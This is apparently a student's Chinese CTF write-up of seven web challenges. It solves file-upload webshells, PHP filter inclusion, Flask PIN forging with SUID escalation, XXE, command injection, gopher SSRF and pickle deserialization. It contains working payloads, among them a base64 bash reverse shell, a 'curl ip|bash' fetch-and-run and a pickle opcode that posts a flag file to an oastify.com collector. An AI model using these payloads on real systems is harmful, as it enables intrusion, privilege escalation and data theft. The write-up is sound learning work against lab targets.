Web:
- picture
- hello_include
- baby_pe
- baby_xxe
- hello_shell
- baby_ssrf
- baby_pickle
picture
文件上传,但是过滤了.php
,并限制仅传入.jpg
文件
可以上传.jpg
文件,然后抓包修改为.phtml
(因为以php解析的后缀不止.php
一种,所以.php
可以使用.phtml
替代)
图片马构造时可以使用copy
命令或者WinHex,注意jpg文件不要太大,太大会被过滤
上传图片马,抓包修改后连接蚁剑即可,flag在根目录
hello_include
根据提示:给用户看的php文件,又提到了源文件
不难找到index.phps文件
phps文件就是php的源代码文件,通常用于提供给用户(访问者)直接通过Web浏览器查看php代码的内容。
因为用户无法直接通过Web浏览器“看到”php文件的内容,所以需要用phps文件代替。
访问到源代码
<?php
echo "Hint: The source code contains important information that must not be disclosed.<br>";
$allowed = ['hello.php', 'phpinfo.php'];
if (isset($_POST['f1Ie'])) {
if (strpos($_POST['f1Ie'], 'php://') !== false) {
die('不允许php://');
}
include $_POST['f1Ie'];
} else {
include 'hello.php';
}
发现可以利用伪协议进行文件包含
访问phpinfo.php
可以发现allow_url_fopen:off,allow_url_include:off
,所以就只能用php://filter
了,php://input
、data://
用不了
因为strpos()
大小写敏感,所以可以通过大写绕过对php://
的过滤
看看phpinfo.php
可以在众多文字中找到flag_0xgame_position /s3cr3t/f14g
,便知道了flag的位置
所以可以构建payload(POST传入即可):
f1Ie=pHp://filter/convert.base64-encode/resource=/s3cr3t/f14g
得到flag的base64编码形式,解码可得flag
baby_pe
根据源码,直接访问/flag
试试
http://47.76.151.192:60086/fileread?filename=/flag
回显flag要root用户才可以看到,听说flask可以算pin
接下来开始算pin
exp:
import hashlib
from itertools import chain
probably_public_bits = [
'app' # username 可通过/etc/passwd获取 这道题里的username是app,root不能算出正确PIN
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.9/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'2485723344898', #mac地址十进制 任意文件读 /sys/class/net/eth0/address然后转为十进制
'6ee8d0b5126041a1b3ddfefb9ea61b4e'
# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id /proc/self/cgroup
# 有machine-id 那就拼接machine-id + /proc/self/cgroup 否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
# 下面为源码里面抄的,不需要修改
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
得出pin后进入控制台,因为username是app,但是题目说明要进入root才能拿到flag,所以接下来要提权
先调用os库,使用系统命令
import os
接着找到正在系统上运行的所有suid可执行文件:(find / -user root -perm -4000 -print 2>/dev/null
)
os.popen('find / -user root -perm -4000 -print 2>/dev/null').read()
再进行SUID提权(find 具有suid权限的filename -exec whoami \;
)
os.popen('find /usr/bin/chsh -exec whoami \;').read()
发现返回root,提权成功,最后继续执行系统命令即可
os.popen('find /usr/bin/chsh -exec ls / \;').read()
os.popen('find /usr/bin/chsh -exec ls /root \;').read()
os.popen('find /usr/bin/chsh -exec cat /root/flag \;').read()
baby_xxe
题干如下:
from flask import Flask,request
import base64
from lxml import etree
app = Flask(__name__)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/parse',methods=['POST'])
def parse():
xml=request.form.get('xml')
print(xml)
if xml is None:
return "None"
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
root = etree.fromstring(xml, parser)
name=root.find('name').text
return name or None
if __name__=="__main__":
app.run(host='0.0.0.0',port=8000)
普通的有回显XXE
构造基本语句
<?xml version="1.0" ?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///flag" >]>
<root><name>&xxe;</name></root>
整理一下,POST传入xml的值为上述语句即可(url编码)
xml=%3C%3Fxml%20version%3D%221.0%22%20%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Croot%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Froot%3E
hello_shell
题目环境:
<?php
highlight_file(__FILE__);
$cmd = $_REQUEST['cmd'] ?? 'ls';
if (strpos($cmd, ' ') !== false) {
echo strpos($cmd, ' ');
die('no space allowed');
}
@exec($cmd); // 没有回显怎么办?
总体思路:可利用exec()
函数命令执行,反弹shell,再进行SUID提权
反弹shell
空格被过滤,使用${IFS}
绕过
方法一:bash
常规的反弹shell命令bash -i >& /dev/tcp/ip/port 0>&1
结合${IFS}
那么可以将上述内容base64编码后构建 bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'
,传参给cmd
即可(url编码)
VPS执行: nc -lvp port
方法二:curl+bash
先在VPS的web文件夹写入文件index.php
,内容:bash -i >& /dev/tcp/ip/port 0>&1
接着执行nc -lvp port
最后将curl${IFS}ip|bash
传参给cmd
即可(url编码)
SUID提权
反弹shell成功连接后,使用一下任意一个命令可以查看有suid权限的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
利用/var/www/html/wc
LFILE=/flag
./wc --files0-from "$LFILE"
可得Flag
baby_ssrf
题目环境:
from flask import Flask, request
import os
from urllib.parse import urlparse, urlunparse
import subprocess
import socket
app = Flask(__name__)
BlackList=[
"127.0.0.1"
]
@app.route('/')
def index():
return open(__file__).read()
@app.route('/cmd',methods=['POST'])
def cmd():
if request.remote_addr != "127.0.0.1":
return "Forbidden"
if request.method == "GET":
return "Hello World!"
if request.method == "POST":
return os.popen(request.form.get("cmd")).read()
@app.route('/visit')
def visit():
url = request.args.get('url')
if url is None:
return "No url provided"
url = urlparse(url)
realIpAddress = socket.gethostbyname(url.hostname)
if url.scheme == "file" or realIpAddress in BlackList:
return "Hacker!"
result = subprocess.run(["curl","-L", urlunparse(url)], capture_output=True, text=True)
# print(result.stderr)
return result.stdout
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8000)
使用gopher
协议发POST
包,127.0.0.1
被过滤了,但是在linux
系统中0.0.0.0
和0
也可以被当作127.0.0.1
请求,这里可以利用这一点绕过黑名单
先弄一个/cmd
路由的基本请求包(抓包复制下来,留下必要请求头即可)
注意/cmd
路由中if request.remote_addr != "127.0.0.1": return "Forbidden"
,所以Host
头的ip要写为127.0.0.1
POST /cmd HTTP/1.1
Host: 127.0.0.1:60087
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Connection: close
cmd=env
这个请求包要在/visit
路由中传给url
。
请求包要url
编码2次构成payload
,因为其要经过flask
和gopher
协议两次接码
注意:因为在我们构造POST
请求时,是以回车 /r
为换行符的,而在HTTP
请求头中,是以 /r/n
为换行符的,所以还要将第一次编码后的 %0A
替换为 %0D%0A
构造gopher
协议:gopher://0.0.0.0:8000/_payload
注意:gopher
协议后的第一个字符不会被解析,所以使用任意字符占位
GET
方法传参即可:?url=gopher://0.0.0.0:8000/_payload
baby_pickle
这种题以前没有接触过,按照官方wp简单学习+复现一下,以后会仔细学习这部分的!
题目环境:
import pickle
from flask import Flask, request
from base64 import b64decode
app = Flask(__name__)
UserPool = {}
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']
class User:
username = None
password = None
@app.route('/')
def index():
return open(__file__).read()
@app.route('/login', methods=['POST'])
def login():
data = request.form.get('data')
if data is not None:
opcode = b64decode(data)
for word in BlackList:
if word in opcode:
return "Hacker!"
user = pickle.loads(opcode)
print(user)
return "<h1>Hello {}</h1>".format(user.username)
else:
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys() and password == UserPool[username].password:
return "<h1>Hello {}</h1>".format(User.username)
@app.route('/register', methods=['POST'])
def register():
username = request.form.get('username')
password = request.form.get('password')
if username in UserPool.keys():
return "<h1>用户{}已存在</h1>".format(username)
UserPool[username] = password
return "<h1>注册成功</h1>"
if __name__ == '__main__':
app.run(host="0.0.0.0", port=8000)
考察⼿搓 opcode
,正常的序列化难免会有⼀些冗余数据像 \x00
等等,还有⼀些标识位
BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']
这⿊名单其实和没过滤⼀样,利⽤ pty
去执⾏命令就可以
获得回显的方法可以选择使用BurpSuite
自带的Collabortor
外带(反弹shell也可)
exp:
import base64
opcode='''(cbuiltins
eval
S'__import__(\'pty\').spawn([\'bash\',\'-c\',\'echo Y3VybCAtWCBQT1NUIGh0dHA6Ly96eTFrZWZjcHA0djA3em1sbmFqYnZ0aHlscHJnZmczNS5vYXN0aWZ5LmNvbSAtZCAkKGNhdCAvdG1wL2ZsYWcp|base64 -d|bash\'])'
o.'''.encode()
print(base64.b64encode(opcode).decode())
其中echo
后的内容为curl -X POST http://zy1kefcpp4v07zmlnajbvthylprgfg35.oastify.com -d $(cat /tmp/flag)
的base64编码
一个好用的网站
从官方wp中发现一个好用的网站:gtfobins
GTFOBins 是一个精心整理的 Unix 二进制文件列表,这些文件可以在配置错误的系统中用于绕过本地安全限制。
该项目收集了 Unix 二进制文件的合法功能,这些功能可能被滥用,用来突破受限的 shell、提升或维持高级权限、传输文件、生成绑定或反向 shell,以及执行其他后期利用任务。
需要注意的是,这不是一个漏洞列表,这里列出的程序本身并不存在漏洞。相反,GTFOBins 是一个指南,讲述如何在只有某些二进制文件可用的情况下,最大化利用现有资源。
总结
在week2中学了不少东西,也发现自己存在许多知识遗漏
题做得一般...但是有收获就好 🙂
慢慢沉淀吧